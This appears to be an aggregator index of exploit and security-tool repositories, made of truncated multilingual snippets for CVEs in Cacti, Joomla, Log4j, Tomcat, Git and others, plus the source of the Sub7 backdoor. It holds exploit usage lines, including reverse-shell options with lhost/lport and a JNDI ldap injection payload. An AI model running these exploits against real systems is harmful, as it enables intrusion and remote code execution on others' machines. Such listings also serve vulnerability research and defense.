CVE-2020-8813

CVE-2020-8813 Официальный эксплойт для Cacti v1.2.8 удаленное выполнение кода CVE-2020-8813 Cacti v1.2.8 Удаленное выполнение кода до аутентификации Cacti v1.2.8 Удаленное выполнение кода после аутентификации...

sandsifter

s a n d s i f t e r : فازر معالجات x86 نظرة عامة تقوم أداة sandsifter بتدقيق معالجات x86 بحثًا عن التعليمات المخفية وعيوب العتاد، عبر توليد كود آلة بشكل منهجي للتنقيب في مجموعة تعليمات المعالج، ورصد التنفيذ بحثًا عن الحالات الشاذة. كشفت sandsifter عن تعليمات معالج سرية من كل بائع رئيسي؛ وثغرات...

CVE-2025-1094-PoC-Postgre-SQLi

تحليل CVE-2025-1094 وإعداد المحاكاة يستكشف هذا الفحص التفصيلي، الذي أُجري في 14 مارس 2025، ثغرة CVE-2025-1094، وهي ثغرة افتراضية عالية الخطورة من نوع حقن SQL في PostgreSQL، استناداً إلى إعداد المحاكاة المقدم وتنفيذ إثبات المفهوم PoC. يغطي التحليل مقدمة الثغرة، والسبب الجذري، ومساهمات الملفات،...

CVE-2022-24715

Icinga Web 2 - تنفيذ الأكواد عن بُعد مع المصادقة 2.8.6, 2.9.6, 2.10 تنفيذ الأوامر عن بُعد شيل عكسي الاستخدام root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL http://ipvictima -U...

CVE-2019-16278-Nostromo_1.9.6-RCE

CVE-2019-16278 - Nostromo 1.9.6 RCE سكريبت بايثون لاستغلال ثغرة RCE في Nostromo nhttpd = 1.9.6. المساعدة root@kitploit: usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE optional arguments: -h, --help show this help message and exit ...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution النطاق المتأثر: 3.0.0-3.4.6 1. التحقق من الثغرة python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 إظهار "Vulnerable" يثبت وجود الثغرة python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 تم التنفيذ بنجاح...

Sub7

Sub7 SubSeven était un programme backdoor ou R.A.T. outil d'administration à distance écrit en Delphi par mobman, qui permettait à d'autres d'obtenir un accès complet aux systèmes Windows 9X via une connexion réseau. Ceci est le code source de Sub7 2.1.2 , publié en avril 2000 juste avant que le...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- هذه نسخة معدلة من استغلال CVE-2018-19422 لإصلاح مشكلة صغيرة لكنها مزعجة واجهتني. اضطررت لاستخدام هذا الاستغلال في مسابقة CTF لكنني لم أتمكن من تشغيله بشكل صحيح، فكان يفشل باستمرار في تسجيل الدخول. بعد قدر هائل من الوقت اكتشفت أخيرًا السبب. كانت المشكلة في وس...

CVE-2023-42793

CVE-2023-42793 لأغراض تعليمية فقط إثبات المفهوم PoC لثغرة CVE-2023-42793 طريقة استخدام CVE-2023-42793admin.sh: root@kitploit: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port إثبات العمل: طريقة استخدام CVE-2023-42793rce.sh: root@kitploit: chmod +x CVE-2023-42793rce.sh...

vBulletin-CVE-2025-48828-Multi-target

💥 ماسح تنفيذ الأوامر عن بعد في vBulletin replaceAdTemplate تقوم هذه الأداة المكتوبة بلغة بايثون بأتمتة اكتشاف ثغرات تنفيذ الأوامر عن بعد غير الموثقة في vBulletin عبر متجه الاستغلال replaceAdTemplate. استنادًا إلى الإثبات الأولي للمفهوم من EgiX ، يدعم هذا الإصدار المسح الدفعي وتعدد الخيوط ، ويسجل...

CVE-2020-9484_Exploit

استغلال CVE-2020-9484 استغلال لثغرة إلغاء التسلسل في Apache Tomcat CVE-2020-9484 والتي قد تؤدي إلى RCE الإصدارات المتأثرة: Apache Tomcat 10.x exploit.sh root@kitploit: exploit.sh your IP your port target IP target port...

CVE-2025-55182-PoC

CVE-2025-55182 - PoC & Stand 📌 بداية سريعة 1. نشر البيئة الضعيفة root@kitploit: cd Stand docker compose up --build التطبيق الضعيف يعمل على: http://localhost:3011 2. تشغيل ماسح PoC الآمن bash cd PoC/src poetry install poetry run python scanner.py http://localhost:3011 ✅ المخرجات المتوقعة لـ PoC...

git_rce

CVE-2024-32002 : Exploitation d'une RCE Git via git clone Ce dépôt contient un PoC pour l'exploitation de CVE-2024-32002, une vulnérabilité dans Git qui permet une RCE lors d'une opération git clone. En créant des dépôts avec des sous-modules d'une manière spécifique, un attaquant peut exploiter ...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript 命令注入漏洞 PoC CVE-2023-36664 在 10.01.2 之前的 Ghostscript 版本中披露的漏洞可导致代码执行（CVSS 评分为 9.8）。 官方漏洞描述： Artifex Ghostscript 至 10.01.2 版本错误处理管道设备（带有 %pipe% 前缀或 | 管道字符前缀）的权限验证。 Debian 发布了一份安全公告，提到可能执行任意命令： "据发现，Ghostscript（GPL PostScript/PDF 解释器）未正确处理管道设备的权限验证，如果处理格式错误的文档文件，可能会导致任意命令的执行。" 该仓库是为...

Log4J_0day_RCE

انضم إلى المجتمع تيليغرام CVE-2021-44228Apache Log4j تنفيذ التعليمات البرمجية عن بُعد） الإصدارات المتأثرة يمكنك استخدام JNDI-Injection-Exploit للاستغلال. تجاوز rc1 على سبيل المثال: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName تجاوز WAF root@kitploit:...

CVE-2019-5418

CVE-2019-5418 - كشف محتوى الملفات في Rails تعديل : يمكن أن تؤدي هذه الثغرة CVE إلى تنفيذ كود عن بُعد، مزيد من المعلومات: https://github.com/mpgn/Rails-doubletap-RCE توجد ثغرة محتملة لكشف محتوى الملفات في Action View. يمكن أن تتسبب رؤوس accept المصممة بعناية مع استدعاءات render file: في عرض ملفات...

CVE-2021-40865

CVE-2021-40865 CVE-2021-40865 إثبات المفهوم/exploit-poc root@kitploit: import org.apache.commons.io.IOUtils; import org.apache.storm.serialization.KryoValuesSerializer; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.URLDNS; import java.io.; import java.math.BigInteger; import...

ElasticSearch-CVE-2014-3120

ElasticSearch search تنفيذ الأوامر عن بُعد CVE-2014-3120 =========================== كود إثبات المفهوم POC لاستغلال CVE-2014-3120 المتطلبات: python الاستخدام: python elasticcheck.py مثال: root@kitploit: ➜ $ python elasticcheck.py hostport.txt 0 10.0.0.10:9200 Vulnerable 1 10.0.0.11:9201 Not...

CiscoExploit

CiscoExploit Cisco Scan IP/Port/Nom d'Hôte/Démarrage/Version https://www.cnblogs.com/k8gege/p/10679491.html CVE-2019-1821 Exécution de code à distance sur Cisco Prime Infrastructure https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html Cisco SNMP...

dawnscanner

Dawnscanner - الماسح الأمني الصاعد لتطبيقات الويب Ruby dawn هو ماسح كود مصدري مصمم لمراجعة تطبيقات الويب الخاصة بك عن مشكلات أمنية. الأداة قادرة على فحص تطبيقات الويب المكتوبة بلغة Ruby وتدعم جميع أطر MVC Model View Controller الرئيسية، خارج الصندوق: Ruby on Rails Sinatra Padrino إصدار dawn 2.0...